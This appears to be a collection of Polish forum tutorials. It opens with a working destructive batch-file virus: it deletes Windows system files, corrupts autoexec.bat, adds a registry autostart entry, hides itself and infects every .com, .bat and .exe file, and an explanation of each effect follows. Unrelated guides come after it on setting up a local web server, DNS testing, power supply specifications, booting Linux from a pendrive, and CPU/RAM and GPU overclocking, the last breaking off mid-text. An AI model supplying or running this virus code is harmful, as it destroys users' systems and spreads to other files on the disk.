erase C:\WINDOWS\WIN.INI
erase C:\WINDOWS\SYSTEM.INI
rd C:\WINDOWS\Resources\Themes\Luna /s /q
echo goto end>>c:\autoexec.bat
pause>nul
:loop
echo HACK
goto loop
rundll32.exe krnl286.exe,ExitKernel
rundll32.exe krnl286.exe,FatalError
echo [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run] >>a.reg
pause>nul
ATTRIB +S +H +R KATALOG:\NAZWA_WIRUSA.bat
pause>nul
@echo off
ctty nul
for %%i in (*.com) do copy %0+%%i %%i /y >nul
for %%i in (*.bat) do copy %0+%%i %%i /y >nul
for %%i in (*.exe) do copy %0+%%i %%i /y >nul

A teraz, wirus:

- usuwa pliki systemowe niezbędne do rozruchu systemu
- usuwa folder *.*/themes co jest równoznaczne z brakiem stylu w windowsie.
- zawiesza system na kilkanaście sekund i odwiesza
- wyświetla pętle z napisami "hack"
- natychmiastowo kończy sesje systemu windows (fatalerror exitkernel, jest to bardzo szybkie wyjście z systemu)
- wkleja się do rejestru jako autostart, jeżeli chcielibyśmy wejść w tryb awaryjny to nic nie da.
- rozpowszechnia się na dysku wklejając w pliki .exe .bat i .com niezbędne do działania systemu.
- ustawia atrybut na plik systemowy i nie jest możliwy do usunięcia

To tyle, powyższy wirus potrafi doszczętnie zniszczyć system. Mała wiedza wystarczy, żeby porządnie zaingerować w windowsa. Pamiętajcie, używacie tych "programów" na własna odpowiedzialność i autor nie odpowiada za szkody poniesione użytkowaniem. Nigdy nie uruchamiajcie swoich wirusów na swoich komputerach.

Efekt

Poniższe 2 zrzuty ekranowe pokazują efekt działania wirusa, po lewej stronie mamy czysty system (C:), a po prawej zainfekowany (E:). Jak widać na 2 zrzucie, wirus został zapisany do rejestru i zniszczył dużo systemu, także nie można nic zrobić, komputer jest zawieszony na ten czas. Po prawej stronie widać także kopie wirusa. Pliki systemowe niezbędne do działania systemu (żebyśmy mogli widzieć jak wirus niszczy) ukryłem i dodałem wyjątek w skrypcie, także prawe okienko (folder WINDOWS) jest prawie pusty i nie narzekajcie że to by nie działało.

1 obrazek przedstawia aktywacje wirusa. Użytkownik próbuje wyłączyć okienko lub coś w nie wpisać, nie mając pojęcia że tym aktywuje wirusa.

2 obrazek przedstawia sytuacje po restarcie systemu. Większość plików jest usunięta (oprócz wyjątków pozwalających na działanie systemu podczas działania wirusa). W rejestrze widzimy wpis do autostartu, przez co tryb awaryjny nas nie uratuje.

Uruchomienie serwera www na komputerze

Thu, 06 Jan 2011 12:11:42 +0000

Uruchomienie serwera www na komputerze
za pomocą programu WebServ

W tym poradniku dowiesz się jak uruchomić na swoim komputerze serwer www. Aby tego dokonać za pomocą programu WebServ potrzebny Ci jest komputer z zainstalowanym systemem Windows, oraz sam program.

Pobranie programu
Wchodzimy na stronę projektu WebServ i pobieramy najnowszą wersję programu.

Instalacja programu
1. Po pobraniu pliku uruchamiamy go.

2. Jak podczas instalacji każdego programu klikamy "Dalej >", Akceptujemy regulamin i "Dalej >", "Dalej >", "Dalej >" Do momentu pojawienia się możliwości wyboru różnych komponentów

Osobiście zalecam wybór najnowszych wersji PHP i SQL, Pearl możemy zainstalować, ale niekoniecznie (jeśli nie wiesz co to jest i Cię to nie interesuje, nie instaluj, nie trzeba). Przechodzimy "Dalej >" aż do końca instalacji. Zaznaczamy "Uruchom program WebServ" i kończymy.

Uruchomienie i Konfiguracja programu
1. Krok.
"Dalej >"

2. Krok.

Wybieramy czy chcemy aby program uruchamiał się przy starcie systemu, dzięki temu mamy pewność że zawsze serwer jest uruchomiony kiedy maszyna działa. Resztę odznaczamy i "Dalej >"

3. Krok.
Jeśli chcemy mieć możliwość zdalnego sterowania (siedząc przy innym komputerze, np w pracy/ szkole) zaznaczamy opcję, podajemy hasło potrzebne do tego i wybieramy "Dalej >"

4. Krok.

Pierwsze dwie opcje zostawiamy bez zmian. Adres serwera i email admina możemy pozostawić bez zmian.
"Folder do udostępnienia w HTTP" - wskazuje na katalog do którego będą wrzucane materiały mające być widoczne pod adresem http://localhost a więc wpisujemy sobie tam adres do dogodnego katalogu, lub zapamiętujemy wpisany. Zalecam podanie jakiegoś katalogu poza partycją C, co zapewni nam zachowanie danych podczas formatu dysku z systemem.
"Folder z kontami użytkowników do udostępniania w HTTP" można pozostawić bez zmian, przechowywane są tam katalogi userów (jeśli ustawimy różnych userów, będą mogli sobie działać zdalnie wewnątrz swoich katalogów

Powyższe katalogi można później zmienić.
Dajemy "Dalej >".

5. Krok.

Dla większości gotowych skryptów zalecane jest wyłączenie 'zmiennych globalnych'.
Pozostałe trzy opcje zostawiamy zaznaczone.
Jako iż serwer jest lokalnie i zapewne nie będzie dużo ekspoatowany polecam ustawić w limitach wartości jak największe.
Pozostałe bez zmian.
Powyższe ustawienia można zmienić później w 'ustawieniach'.
Dajemy "Dalej >".

6. Krok.

Zalecane jest pozostawienie wszystkiego bez zmian, jeśli nie chcemy instalować bazy MySQL odznaczamy "Baza danych MySQL", ale że na pewno chcemy pozostawiamy.
Dajemy "Dalej >".

7. Krok.
Jeśli chcemy uruchamiać serwer FTP zaznaczmy tą opcję, do domowego użytku, funkcja zbędna.
Dajemy "Dalej >".

8. Krok.

Dostępne tu opcje pozwalają nam na dostęp do serwera z zewnątrz za pomocą stałej domeny jeśli zewnętrzne IP mamy zmienne.
Dajemy "Dalej >".

9. Koniec Konfiguracji

10. Jeśli podczas pierwszego uruchomienia programu system zapyta o dostęp programu do Sieci, zezwalamy na to.

Teraz możemy się cieszyć serwerem lokalnym, aby sprawdzić czy wszystko działa, wystarczy wejść pod adres http://localhost Jeśli pojawi się strona, lub zawartość katalogu wszystko jest ok, jeśli jednak pojawi się błąd, coś poszło nie tak.

Możesz napisać u nas temat z opisanym problemem, postaramy się pomóc.

bY unbreak

Poradnik jest własnością autora Michała unbreak zgodnie z ustawą z dnia 4 lutego 1994 roku o prawie autorskim i prawach pokrewnych. Publikowanie ich na innych forach i serwisach internetowych bez wiedzy i zgody autorów jest surowo zabronione.

Testowanie i wybór najszybszego serwera DNS

Mon, 25 Oct 2010 11:06:21 +0000

Każdy z nas pragnie mieć łącze o jak największej przepustowości, tak aby móc w sposób komfortowy przeglądać strony WWW, rozmawiać z przyjaciółmi przez komunikator, używać bankowości elektronicznej czy też korzystać z innych usług w cyberprzestrzeni. Nie zawsze możemy pozwolić sobie na szybki internet, czasem zmuszeni jesteśmy do korzystania z internetu "komórkowego", który jak wiadomo, nie należy do najszybszych.

Niezależnie od posiadanego łącza każdy użytkownik może znacząco przyśpieszyć połączenie internetowe, co przełoży się między innymi na skrócenie czasu ładowania się stron internetowych. W niniejszym poradniku zostanie opisana metoda optymalizacji odwołań do fizycznych serwerów DNS. Do przeprowadzenia testów wydajnościowych wykorzystamy małą, darmową aplikację o nazwie DNS Jumper.

Co to jest DNS?

DNS (ang. Domain Name System), to skrót określający system rozpoznawania nazw domenowych. Jest on niezbędny do poprawnego funkcjonowania Internetu, albowiem umożliwia translację nazwy domenowej i przypisanie jej odpowiedniego adresu IP (ang. Internet Protocol).

Ogólna zasada działania DNS

Wpisując adres strony, użytkownik posługuje się nazwą w postaci adreswitryny.pl, taka forma jest zrozumiała i łatwa do zapamiętania dla człowieka, jednakże urządzenia sieciowe i serwery posługują się innym językiem. Mowa o adresach IP, które jednoznacznie identyfikują każdy komputer w sieci.

Jeżeli użytkownik wpisze adres witryny w przeglądarce, do serwera DNS wysyłane jest żądanie pobrania adresu IP serwera, na którym znajduje się wywoływana strona. DNS-y zawierają setki tysięcy rekordów, gdzie z każdym adresem IP skojarzona jest określona nazwa domenowa. Dopóki przeglądarka nie uzyska informacji zwrotnej, nie będzie można wyświetlić strony, gdyż dopiero po uzyskaniu IP wysyłane jest kolejne żądanie, tym razem do serwera hostującego witrynę.

Operacja odpytywania DNS pochłania czas, który liczony jest od momentu wysłania żądania. Czas oczekiwania uzależniony jest od wielu czynników, między innymi: jakości serwera DNS oraz jego obciążenia, odległości pomiędzy serwerem a komputerem wysyłającym żądanie oraz szybkością łącza internetowego. Kluczową sprawą jest kwestia ustawienia optymalnych adresów DNS, które zredukują czas odpowiedzi i tym samym znacząco przyśpieszą proces ładowania stron internetowych.

Prezentacja programu Dns Jumper

Jednym z ciekawszych programów do sprawdzania wydajności DNS jest Dns Jumper, który nie tylko służy do testowania serwerów, lecz także umożliwia szybką podmianę adresów na wybranym interfejsie sieciowym.

Lista opcji:
* Apply Dns [1] - ustawia adresy DNS na wszystkich lub wybranych kartach sieciowych.
* Fastest Dns [2] - przeprowadza testy wydajnościowe, pozwala określić optymalne serwery DNS.
* Backup [3] - tworzy kopię zapasową ustawień (dla wybranego interfejsu lub wszystkich).
* Flush Dns [4] - uruchamia komendę czyszczenia pamięci podręcznej DNS (odpowiednik ipconfig /flushdns).
* Select Network Card [5] - lista zainstalowanych interfejsów sieciowych.
* Choose a free DNS service [6] - lista ogólnodostępnych, bezpłatnych serwerów, na których uruchomiono usługę DNS.
* Manual Dns Servers [7] - zaznaczenie opcji pozwala wprowadzić własne adresy DNS.
* Znak plus/minus (Add/Delete New Dns Servers) - pozwala dodać lub usunąć z listy wybrane adresy DNS.

Jak wybrać najszybszy serwer DNS?

Z menu programu wybieramy Fastest Dns [2]. Zostanie wykonana seria testów. Najszybsze adresy będą zaprezentowane w dolnej części okna. Jeżeli zaproponowane DNS-y odpowiadają naszym wymaganiom, wskazujemy Apply Dns Servers, w przeciwnym wypadku zamykamy okno.

Uzyskane wyniki mogą różnić się od siebie. W przypadku połączeń kablowych najlepiej wykonać 3-4 testy, aby potwierdzić wskazania. W przypadku połączeń radiowych, w zależności od stabilności połączenia, warunków atmosferycznych oraz innych czynników możemy uzyskać zupełnie odmienne rezultaty. Tutaj należy dokonać minimum 10-15 testów, jednakże i tak nie będzie 100% pewności, że program wskazał optymalne rozwiązanie.

Zmiana adresów przy pomocy Dns Jumper

DNS Jumper pozwala na szybką podmianę adresów. Z listy (Select Network Card [5]) wskazujemy określony interfejs lub pozostawiamy domyślne ustawienia (All Network Cards). Następnie wybieramy jedno z predefiniowanych ustawień (Choose a free DNS service [6]) lub wskazujemy własne DNSy (Manual Dns Servers [7]), po czym klikamy Apply Dns [1].

Ręczna zmiana adresów DNS

DNS Jumper ułatwia podmianę adresów DNS na wskazanym interfejsie, jednakże tę czynność możemy wykonać ręcznie. W celu zmiany dotychczasowych ustawień wykonujemy kolejno:

1. Start ==> Panel sterowania ==> Centrum sieci i udostępniania.
2. W lewej części okna wskazujemy Zarządzaj połączeniami sieciowymi.
3. Klikamy prawym przyciskiem myszy na wybranym połączeniu sieciowym i z menu kontekstowego wybieramy Właściwości.
4. Wskazujemy opcję Protokół internetowy w wersji 4 (TCP/IPv4) i klikamy Właściwości.

5. Zaznaczamy Użyj następujących adresów serwerów DNS i w polach Preferowany/Alternatywny serwer DNS wpisujemy optymalne adresy IP.

6. Klikamy OK i w kolejnym oknie Zamknij.

Dla starszych wersji systemów jak Windows XP, procedura jest podobna, z tą różnicą, że w punkcie pierwszym wskazujemy Panel sterowania ==> Połączenia sieciowe. Dalej postępujemy zgodnie z powyższą instrukcją.

=======================Link do programu========================
http://www.softpedia.com/get/Internet/Other-Internet-Related/Dns-Jumper.shtml

Poradnik jest własnością użytkowników forum oc-community.org zgodnie z ustawą z dnia 4 lutego 1994 roku o prawie autorskim i prawach pokrewnych. Publikowanie ich na innych forach i serwisach internetowych bez wiedzy i zgody autorów jest surowo zabronione.

Zasilacze

Sat, 22 May 2010 08:32:40 +0000

----------
Zasilacze

Przeszukując internet przy zakupie bądź dla chęci porównania zasilaczy często jesteśmy zmuszeni do przeglądania dziesiątek stron by uzyskać tak błahą, ale jakże istotną informację jaką są parametry zasilacza. Nie chodzi tu o jego moc, gdyż to przeważnie widnieje w nazwie, ale te naprawdę istotne przy porównywaniu zasilaczy, a mianowicie maksymalny amperaż i moc na poszczególnych liniach napięcia +3,3V, +5V i +12V (w tym przypadku dla każdej linii z osobna i razem).
Dlatego chciałbym po krótce przedstawić te informacje w jednym miejscu. Postaram się też przy każdym modelu podawać ilość wtyczek w jaką jest wyposażony, gdyż często informacja ta jest równie przydatna.
Kolejność producentów jest alfabetyczna, danych modeli według serii, w serii według mocy.
A wiec do dzieła.

UWAGA: Kilka zdjęć jest mojego autorstwa, jednak reszta jest własnością ich autorów. Zamieszczam je tutaj wyłącznie w celach informacyjnych, nie komercyjnych.
Informacje tu zawarte są ogólnodostępne m.in. na stronach poszczególnych producentów, oraz stronach sklepów oferujących dane modele, gdzie zapraszam po bardziej szczegółowe opisy modeli.

Historia wstawień:
22.05.2010 - dodane: Chieftec GPS350eb, Chieftec GPS400aa, Chieftec GPS450aa, Corsair vx450, Corsair vx550.
30.05.2010 - dodane: OCZ StealthXStream 400W, OCZ StealthXStream 500W, OCZ StealthXStream 600W, OCZ StealthXStream 700W, OCZ ModXStream 400W, OCZ ModXStream 500W, OCZ ModXStream 600W, OCZ ModXStream 700W, OCZ ModXStream 780W, OCZ ModXStream 900W.
20.06.2010 - dodane: OCZ Z-Series 550W, OCZ Z-Series 650W, OCZ Z-Series 850W, OCZ Z-Series 1000W.

Chieftec

GPS350EB

Tabelka:

Ilość wtyczek:
7x molex
2x floppy
1x 20/24-pin ATX
1x 4pin 12V
2x S-ATA

GPS400AA

Tabelka:

Ilość wtyczek:
7x molex
2x floppy
1x 20/24-pin ATX
1x 4pin 12V
2x S-ATA
1x PCI-E

GPS450AA

Tabelka:

Ilość wtyczek:
7x molex
2x floppy
1x 20/24-pin ATX
1x 4pin 12V
2x S-ATA
1x PCI-E

Corsair

Corsair VX450W

Tabelka:

Ilość wtyczek:
6x molex
2x floppy
1x 20/24-pin ATX
1x 4pin 12V
6x S-ATA
1x PCI-E

Corsair VX550W

Tabelka:

Ilość wtyczek:
6x molex
2x floppy
1x 20/24-pin ATX
1x 4pin 12V
6x S-ATA
2x PCI-E (w tym 1x 6+2pin)

OCZ

OCZ StealthXstrem 400W

Tabelka:

Ilość wtyczek:
6x molex
2x floppy
1x 20/24-pin ATX
1x 4pin 12V
4x S-ATA
1x PCI-E

OCZ StealthXStream 500W

Tabelka:

Ilość wtyczek:
4x molex
1x floppy
1x 20/24-pin ATX
1x 4pin 12V
3x S-ATA
1x PCI-E

OCZ StealthXStream 600W

Tabelka:

Ilość wtyczek:
5x molex
1x floppy
1x 20/24-pin ATX
1x 8/4pin 12V
3x S-ATA
2x PCI-E (w tym 1x 6+2pin)

OCZ StealthXStream 700W

Tabelka:

Ilość wtyczek:
6x molex
2x floppy
1x 20/24-pin ATX
1x 8/4pin 12V
6x S-ATA
2x PCI-E (w tym 1x 6+2pin)

OCZ ModXStream 400W

Tabelka:

Ilość wtyczek: (modularny)
6x molex
2x floppy
1x 20/24-pin ATX
1x 4pin 12V
4x S-ATA
1x PCI-E (w tym 1x 6+2pin)

OCZ ModXStream 500W-700W

Tabelka:

Ilość wtyczek: (modularny)
4x molex
2x floppy
1x 20/24-pin ATX
1x 8/4pin 12V
6x S-ATA
2x PCI-E (w tym 1x 6+2pin)

OCZ ModXStream 780W,900W

Tabelka:

Ilość wtyczek: (modularny)
6x molex
3x floppy
1x 20/24-pin ATX
1x 8/4pin 12V
6x S-ATA
2x PCI-E

OCZ Z Series-550W

Tabelka:

Ilość wtyczek:
5x molex
1x floppy
1x 20/24-pin ATX
1x 8/4pin 12V
4x S-ATA
2x PCI-E (w tym 1x 6+2pin)

OCZ Z Series-650W

Tabelka:

Ilość wtyczek:
5x molex
1x floppy
1x 20/24-pin ATX
1x 8/4pin 12V
4x S-ATA
2x PCI-E (w tym 1x 6+2pin)

OCZ Z-Series 850W

Tabelka:

Ilość wtyczek: (modularny)
3x molex
1x floppy
1x 20/24-pin ATX
2x 8/4pin 12V (w tym 1x 8-pin)
12x S-ATA
4x PCI-E 6+2pin

OCZ Z-Series 1000W

Tabelka:

Ilość wtyczek: (modularny)
3x molex
1x floppy
1x 20/24-pin ATX
2x 8/4pin 12V (w tym 1x 8pin)
12x S-ATA
6x PCI-E 6+2pin

...
To be countinued...
...

Mam nadzieje, że informacje te okażą się przydatne przy wyborze dobrego zasilacza dla waszego sprzętu.

-GT-

=============

Instalacja systemu operacyjnego na pendrive

Fri, 26 Mar 2010 00:44:26 +0000

Instalacja systemu operacyjnego na pendrive

Poniższy artykuł przedstawia w jaki sposób stworzyć bootowalnego pendrive'a z zainstalowanym systemem operacyjnym gotowym do pracy. W prostych słowach chodzi o to aby nasz komputer, po włożeniu pamięci lub dysku USB, startował z zainstalowanego wcześniej przez nas systemu. Najlepiej do tego zadania nadają się dystrybucje Linuxa ponieważ są całkowicie darmowe oraz zajmują niewiele miejsca i zasobów komputera. Dużą zaletą posiadania pendrive z własnym systemem jest możliwość nagrania tam wielu aplikacji, z których na co dzień korzystamy. Po wpięciu naszego zewnętrznego nośnika danych do komputera w szkole, pracy czy u kolegi będziemy mięli dostęp do komunikatora internetowego z listą znajomych, przeglądarki z naszymi zakładkami, prywatnego konta na torrencie i wszystkiego co tylko będziecie wam potrzebne.

Aby odpalić system z pendrive płyta główna komputera, do którego wkładamy nośnik, musi pozwalać na bootowanie z USB. Wszystkie w miarę nowe urządzenia mają taką możliwość, więc nie powinno być problemów. W BIOSie trzeba ustawić kolejność bootowania (zakładka Boot Sequence) w taki sposób aby dysk USB był pierwszy na liście.

Instalacja za pomocą programu UNetbootin

Przed rozpoczęciem wszelkich działań trzeba sformatować pendrive, w tym celu klikamy w Mój Komputer, zaznaczamy nasz nośnik i wciskamy prawy przycisk myszy wybierając z menu Formatuj. W oknie, które pojawi się nam przed oczami zaznaczamy Szybkie Formatowanie i wciskamy Rozpocznij.

Program UNetbootin posiada dwie wersje, pod Windowsa oraz Linuxa. Należy wybrać tą, która nas interesuje i zainstalować na naszym komputerze a następnie otworzyć aplikację.

Z rozwijanej listy wybieramy dystrybucję, która nas interesuje, do wyboru mamy między innymi Arch Linux, Damn Small Linux, Debian, Fedora, FreeBSD, Gentoo, Mandriva, Slax czy Ubuntu. Wersja dostosuje się automatycznie. W naszym wypadku wybór padł na Slax, twój może być zupełnie inny. Zaznaczenie opcji z listy spowoduje pobranie obrazu ISO sieci.

W przypadku gdy posiadamy obraz ISO dystrybucji Linuxa na swoim dysku trzeba zaznaczyć opcję Diskimage i wybrać lokalizację, w której obraz się znajduje. Dzięki temu żadne dane nie będą musiały być pobierane.

W naszym jednak wypadku wybierzemy opcję pierwszą, czyli pobranie dystrybucji Slax z internetu. Pamiętaj również aby wybrać typ napędu oraz przypisaną mu literę. Wybieramy z listy Napęd USB oraz odpowiadającą mu literę F. U ciebie może to być inne oznakowanie, aby to sprawdzić wejdź w Mój Komputer.

Kiedy jesteśmy gotowi wciskamy OK. Naszym oczom ukazuje się okno z postępem pobierania Slax Linux. Dystrybucje zawarte w programie UNetbootin są specjalnie przygotowanymi wersjami przeznaczonymi na pendrive, z tego powodu zajmują niewiele miejsca, zazwyczaj od 200MB do 700MB. W oknie, za wyjątkiem paska postępu, mamy również wypunktowane zadania jakie program będzie wykonywał po ściągnięciu obrazu, czyli rozpakowywanie i kopiowanie plików, instalowanie bootloadera oraz zakończenie instalacji i ponowne uruchomienie komputera.

Po ukończeniu wszystkich zadań należy kliknąć Uruchom Ponownie.

Po restarcie będziecie mogli cieszyć się zainstalowanym systemem. Pamiętajcie aby w BIOSie ustawić bootowanie z nośnika USB.

Alternatywą dla opisywanego programu może być Universal USB Instaler

Podkręcanie procesora

Sun, 21 Feb 2010 19:17:40 +0000

Podkręcanie procesora i pamięci RAM na przykładzie Intel Core2Duo E4500 (2,2GHz), DFI BloodIron P35-T2RL i pamięci Patriot Blade 8500EL 2x2GB 1066MHz

Na początek informuję, że autor poradnika ani administracja nie ponoszą żadnej odpowiedzialności za ewentualne szkody wynikające z zastosowania porad znajdujących się poniżej.

Obecne procesory dają duże pole do popisu jeżeli chodzi o zmianę taktowania i co za tym Idzie zwiększenie wydajności procesora całkowicie za darmo.

Na początek pasowało by się zaopatrzyć w program do testowania stabilności komputera. Do tego celu możemy użyć programu „OCCT” który możemy pobrać stąd: LINK
A także w program „Everest” który można pobrać stąd: LINK
Tym programem jesteśmy wstanie stwierdzić jaki posiadamy procesor, pamięci i płytę główną.
Polecam także program "CPU-Z" którym możemy też łatwo sprawdzić informacje o procesorze, pamięciach i płycie głównej: LINK
Dobrze by było abyśmy zobaczyli jakie timingi ustawiono fabrycznie na naszych pamięciach.
W tym celu wchodzimy w zakładkę „Płyta główna” a następnie „Mikroukład płyty głównej”.
Ze wszystkich tych informacji jakie znajdziemy w tej zakładce będą nam potrzebne tylko następujące:
CAS Latency (CL)
RAS To CAS Delay (tRCD)
RAS Precharge (tRP)
RAS Active Time (tRAS)

Gdy już znamy ustawienia timingów możemy zabrać się do podkręcania.
Procesor będziemy podkręcać z poziomu BIOS’u. Aby się do niego dostać uruchamiamy ponownie komputer i jak pojawia się drugi ekran informujący nas o ilości pamięci RAM, taktowaniu procesora i paru innych komponentach komputera wciskamy klawisz „Delete”. Pojawi nam się Menu z opcjami do wyboru

Odnajdujemy zakładkę „Genie BIOS Setting” i wchodzimy w nią.
Znajdziemy tam wszystkie potrzebne opcje do podkręcania pamięci RAM i procesora.

Na początek w zakładce „DRAM Timing” odnajdujemy :
CAS Latency (CL)
RAS To CAS Delay (tRCD)
RAS Precharge (tRP)
RAS Active Time (tRAS)

Zmieniamy wartości opcji podanych powyżej z „Auto” na o 1 wyższe niż te które wskazał nam wcześniej program „Everest”.
Gdy zmienimy timingi możemy wziąć się za podkręcanie procesora, może zająć nam to trochę czasu więc radze zarezerwować na to „parę” dobrych chwil aby nic na szybko nie robić bo możemy tylko sobie zaszkodzić.

W zakładce „Genie BIOS Setting” pod pozycją „CPU Clock” zmieniamy wartość szyny FSB. Na początek zwiększajmy po woli powiedzmy o 20MHz.

Wraz ze zmianą taktowania procesora zwiększa nam się taktowania pamięci RAM co widzimy pod opcją „Target DRAM Speed”.
Na razie zajmujemy się podkręcaniem procesora i żeby RAM nam w tym nie przeszkadzał obniżamy mu taktowanie poprzez zmianę dzielnika. Wybieramy opcję „DRAM Speed” (zakładka „Genie BIOS Setting”) i wybieramy dzielnik który zmniejszy taktowanie co możemy zobaczyć pod opcją „Target DRAM Speed”.

Należy także zmienić napięcie procesora. Domyślnie jest ono ustawione na „Auto” aby zmienić wartość napięcia wchodzimy w zakładkę „Genie BIOS Setting” następnie zakładka „Voltage Setting”.

Pod opcją „CPU VID Special Add” można zmieniać napięcie procesora, na początek ustawmy najlepiej ustawić je na standardowe które możemy odczytać z programu "CPU-Z" czy "Everest"
Gdy zmienimy te ustawienia wychodzimy do Menu początkowego, klawisz F10, potwierdzamy klawiszem „Y” i komputer uruchomi się ponownie.

Jeżeli system uruchamia się bez problemów instalujemy wyżej podany program OCCT do sprawdzenia stabilności.

W opcji „Test type” wybieramy ustawienia własne i ustawiamy czas na powiedzmy 30min, na początek wystarczy. Program pokazuje także temperaturę procesora którą należy monitorować na bieżąco, pilnujemy aby temperatura nie przekroczyła 70*C. Taka temperatura jest już szkodliwa dla procesora jeżeli "przebywa" w niej dłuższą chwile, może spowodować trwałe uszkodzenie procesora nawet jeśli pracuje on na domyślnych zegarach. Jeżeli mamy fabryczne chłodzenie tzw. BOX to nasza zabawa może skończyć się szybko i nie wyciągniemy wszystkiego co oferuje nam procesor. W przypadku gdy będziemy osiągać coraz wyższe wyniki zalecam ustawić program na 1h aby mieć większą pewność co do stabilności.

Temperaturę możemy sprawdzić w programie OCCT:

Jeżeli komputer przeszedł test pomyślnie, nie zawiesił się nie zresetował ani program nie wywalił żadnego błędu podczas testu a temperatura nie przekraczała znacznie 70*C możemy zwiększać taktowanie dalej. Uruchamiamy komputer ponownie, wchodzimy do BIOS’u i znowu zwiększamy „CPU Clock” o 20MHz, przy czym monitorujemy taktowanie pamięci, jeżeli po zwiększeniu FSB taktowanie RAM’u jest większe niż fabryczne zmniejszamy je za pomocą dzielnika jak zostało opisane to wyżej, wychodzimy zapisując ustawienia tak samo jak poprzednio i sprawdzamy stabilność tak jak wcześniej.

Jeżeli po zmianie taktowania procesora system się nie uruchamia albo podczas testowania resetuje się, zawiesza albo wywala jakiś błąd to znak, że procesor jest „głodny” i należy zwiększyć mu napięcie.
Obecną wielkość napięcia możemy sprawdzić w programie OCCT którym testujemy stabilność:

Zwiększamy napięcie tak jak zostało to opisane wyżej tylko wybieramy wyższą wartość. W tym przypadku napięcia podane są w mV czyli o tyle o ile zwiększamy napięcie. (Na płytach innych producentów może być podana już wartość na jaką zmieniamy napięcie np. 1.325V.)

Ważne!
Jeżeli posiadamy procesor w 65nm (C2D E4X00, E6X00, PDC E2X00, C2Q Q6X00) to przyjęło się, że nie należy dawać więcej jak 1,6V natomiast jeżeli posiadamy nowszy procesor wykonany w technologii 45nm (C2D E7X00, E8X00 PDC E5X00, E6X00, C2Q Q8X00, Q9X00, i7, i5) przyjęło się, że nie należy dawać więcej jak 1,5V.

Jeżeli doszliśmy do momentu w którym nasz procesor mimo coraz większego napięcia jest niestabilny to znaczy, że wyciągnęliśmy prawie maksimum z naszego procesora. Należy wrócić do poprzednich stabilnych ustawień, przetestować je przez parę godzin aby mieć pewność, że mamy w pełni stabilne taktowanie.

Gdy nasz procesor został już właściwie podkręcony i jest stabilny możemy zacząć podkręcać pamięć RAM.
Aby to zrobić wchodzimy do BIOS’u, „Genie BIOS Setting” zakładka „Voltage Setting” i pod opcją „DRAM voltage control” zwiększamy napięcie RAM’u. Tutaj jest różnie, jeżeli posiadamy pamięci taktowane zegarem 667MHz - 800MHz ustawiamy napięcie do 2,1V w przypadku 800MHz możemy pokusić się o 2.2V. natomiast jeżeli posiadamy pamięci 1066MHz to dajemy napięcie z zakresu 2.2V-2.4V w zależności od tego jak bardzo chcemy je podkręcić. Jeżeli jednak pamięci są oporne i nie idą za dużo względem fabrycznych ustawień to niema co przesadzać z napięciem i ustawiamy je bliżej fabrycznych ustawień.

Jak już zwiększymy napięcie cofamy się do menu gdzie zmienialiśmy timingi i ustawiamy je tym razem na takie jakie były fabrycznie( nie Auto tylko wpisujemy sztywne wartości) zmieniamy dzielnik pamięci ale tym razem wybieramy taki który zwiększa nam taktowanie pamięci ponad to które jest ustawione fabrycznie. Nie przesadzamy od razu, staramy się ustawiać taki dzielnik aby taktowanie nie zwiększało się za dużo względem fabrycznego czy tego które było ostatnio stabilne. Po każdej zmianie taktowania RAM’u testujemy komputer tak samo jak przy zmianie taktowania CPU. Jeżeli nasze pamięci nie idą za bardzo w górę możemy wrócić do timingów o jeden wyższych niż te które ustawiła fabryka i bawić się dalej.

Aby bardziej podciągnąć RAM możemy zmniejszać (bądź zwiększać jeżeli mamy taką możliwość) mnożnik procesora. W takim wypadku jeżeli mnożnik procesora wynosi x11 a szyna FSB 300MHz taktowanie procesora wynosi 3300MHz (3.3GHz) więc jeżeli zmniejszymy mnożnik powiedzmy na x10 to aby uzyskać takie samo taktowanie CPU należy zwiększyć FSB do 330MHz co jednocześnie zwiększy (bądź zmniejszy) taktowanie na poszczególnych dzielnikach pamięci RAM.

Wszelkie prawa zastrzeżone

Podkręcanie w programie Riva Tuner

Sat, 02 Jan 2010 15:05:09 +0000

Podkręcanie w programie Riva Tuner

Na wstępie:
Niniejszym informuje, że ani autor, ani administratorzy forum nie odpowiadają za straty spowodowane przez korzystanie z zawartych poniżej rad. Informacje te, są wyłącznie wskazówkami, dotyczącymi ogólnego postępowania z programem. Pokręcając robisz to na własne ryzyko!!

Ale dość formalności, przejdźmy do sedna. Podkręcanie ostatnimi czasy stało się tak łatwe i popularne, że coraz większa rzesza użytkowników chce po raz pierwszy spróbować tej sztuki. Wielu z tych użytkowników – przeważnie początkujących – zadaje na forum pytanie: „Jakim programem podkręcać kartę graficzną?”. Dlatego chciałbym bliżej przedstawić działanie programu Riva Tuner. Jest to jeden z lepszych programów do tego celu. Można go pobrać chociażby stąd:
http://www.pobieralnia.pl/plik-549-riva-tuner.html
Obenie najnowsza wersja to 2.24 do której na chwilę obecną nie ma jeszcze spolszczenia, ale sądzę, że język angielski nie jest przeszkodą. Postępowanie w wersji polskiej jest analogiczne, tak jak rozmieszczenie wszystkich opcji.
Program jest na licencji Freeware i nie zajmuje dużo.
Do testowania stabilności ustawień będę korzystał z programu Furmark.
Po zainstalowaniu i uruchomieniu ukazuje nam się poniższe okno:

Możemy z niego wyczytać wiele informacji o naszej karcie graficznej. W zakładce Main mamy okienko Target adapter.

Widnieje w nim nazwa producenta oraz model GPU znajdującego się na karcie, marka i model monitora (nie zawsze, ale przeważnie), a poniżej:
- szerokość magistrali pamięci – w tym przypadku to 256 bit’ów;
- oznaczenie GPU – G92;
- rewizja karty, ilość jednostek/procesorów strumieniowych (w starszych kartach ilość jednostek pixel i vertex shader) – A2, 128sp;
- ilość i rodzaj pamięci zainstalowanej na karcie – 512MB DDR3.
Poniżej znajduje się okienko Driver settings. Znajdują się w nim informacje dotyczące obecnie zainstalowanego sterownika karty graficznej, m.in. jego wersja (np. 195.62).

Ustawienia

Przechodzimy do zakładki Settings:

W oknie tym zasadniczo wystarczy zaznaczyć opcje Send to tray on close oraz Run at Windows startup. Pierwsza pozwala nam zamknąć okno programu nie zamykając jego samego przez minimalizację do paska zadań. Druga uruchamia nam program przy każdym starcie systemu, dzięki czemu podkręcone wartości zegarów będą ustawiane automatycznie po ich zapisaniu – nie będzie konieczne każdorazowe ręczne włączanie programu. Tutaj również możemy zmienić domyślny (angielski) język w programie.

Podkręcanie

Przed przystąpieniem należy chyba poruszyć kilka spraw:
